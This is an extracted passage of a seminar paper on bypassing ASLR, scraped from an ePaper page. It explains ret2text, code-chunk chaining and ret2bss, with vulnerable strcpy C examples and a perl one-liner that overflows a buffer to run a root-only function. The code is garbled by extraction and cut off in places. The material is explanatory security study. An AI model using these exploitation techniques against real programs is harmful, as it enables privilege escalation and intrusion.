ASLR Smack & Laugh Reference

More documents

Recommendations

Info

# d e f i n e NOP 0 x90 i n t main ( i n t argc , char ∗ a rgv [ ] ) { char ∗ buff , ∗ p t r ; long ∗ a d r p t r , a d r ; i n t i ; i n t bgr = a t o i ( a rgv [ 1 ] ) + 8 ; i n t o f f s e t = a t o i ( argv [ 2 ] ) ; b u f f = m a l l o c ( bgr ) ; a d r = 0 xbf010101 + o f f s e t ; f o r ( i =0; i
• Data: initialized global and initialized static local variables • Text: readonly program code 4.1 ret2text The text region is marked readonly and any attempt to write to it will result in a segmentation violation. Therefore it is not possible to place shellcode in this area. Though it is possible to manipulate the program flow: Overwriting the return address with another reasonable pointer to the text area affords jumping inside the original code. This kind of exploitation is interesting for code segments which cannot be reached in normal program flows. Consider the C program ret2text (see figure 7). This program contains a classic strcpy vulnerability and a code segment that only root can execute. void p u b l i c ( char ∗ a r g s ) { char b u f f [ 1 2 ] ; s t r c p y ( buff , a r g s ) ; p r i n t f ( ” p u b l i c \n ” ) ; } void s e c r e t ( void ) { p r i n t f ( ” s e c r e t \n ” ) ; } i n t main ( i n t argc , char ∗ a rgv [ ] ) { i f ( g e t u i d ( ) == 0) s e c r e t ( ) ; e l s e p u b l i c ( argv [ 1 ] ) ; } Figure 7: ret2text.c Jumping into secret needs the address of this function which can be determined by gdb as follows: (gdb) print secret 1 = {void (void)} 0x80483fa Overflowing the buffer with this address provides a working exploit: > ./ret2text \ > ‘perl -e ’print "A"x16; \ > print "\xfa\x83\x04\x08"’‘ public secret Segmentation fault The segmentation fault does not matter in most cases, since the secret code has already been executed. If a program does not contain secret code, which is interesting to execute, an attacker can try to chain up 5 chunks of existing code to a useful shellcode. This borrowed code technique is described in [Kra05] using code fragments of libc to bypass a nonexecutable stack. Under <strong>ASLR</strong> an attacker cannot use code fragments of libc, since libraries are randomized. But what is still imaginable is to use code fragments of the vulnerable program itself. The possibilities to create useful shellcodes rise with the size of the program. The code fragments which can be used for this intention are continuous assembler chunks up to a return instruction. The return instructions chain the code chunks together. This works as follows: A buffer overflow has to be used to overwrite the return address by the start address of the first code chunk. This code chunk will be executed till the program flow reaches its closing return instruction. After that the next return address is read from the stack, which is ideally the start address of the second code chunk. So the start address of the second code chunk has to be placed right above the start address of the first code chunk. The second chunk is also executed till its closing return instruction is reached. Then the start address of the third chunk is read from the stack and so on. 4.2 ret2bss The bss area contains all uninitialized global and uninitialized static local variables. It is writable and therefore global variables are potential locations for placing malicious code. Furthermore this area is not randomized by <strong>ASLR</strong> and it is feasible to determine fixed addresses. That sounds great, but there is one problem: A classic stack overflow is still necessary, because the return addresses are saved on the stack - not in the bss area. Hence two inputs are needed: One to overflow a buffer and one to infiltrate the bss area with shellcode. char g l o b a l b u f [ 2 5 6 ] ; void f u n c t i o n ( char ∗ i n p u t ) { char l o c a l b u f [ 2 5 6 ] ; s t r c p y ( l o c a l b u f , i n p u t ) ; s t r c p y ( g l o b a l b u f , l o c a l b u f ) ; } i n t main ( i n t argc , char ∗∗ a rgv ) { f u n c t i o n ( argv [ 1 ] ) ; } Figure 8: ret2bss.c It is possible to avoid two inputs if there is one input which is stored on the stack and the bss area. Consider
Page 1 and 2: ASLR Smack & Laugh Reference Semina
Page 3: RANDEXEC/RANDMMAP - code/data/bss s
Page 7 and 8: An attacker can write an arbitrary
Page 9 and 10: # d e f i n e SA s t r u c t s o c
Page 11 and 12: The potential shellcode pointer mus
Page 13 and 14: # d e f i n e POPRET 0 x08048467 #
Page 15 and 16: objdump -D ret2eax | grep -B 2 "cal
Page 17 and 18: 10 Off by one Off-by-one describes
Page 19 and 20: i n t main ( void ) { i n t i = 0 ;
Page 21: [c0n06a] c0ntex. Bypassing non-exec

ASLR Smack & Laugh Reference

Create successful ePaper yourself

Delete template?

Save as template?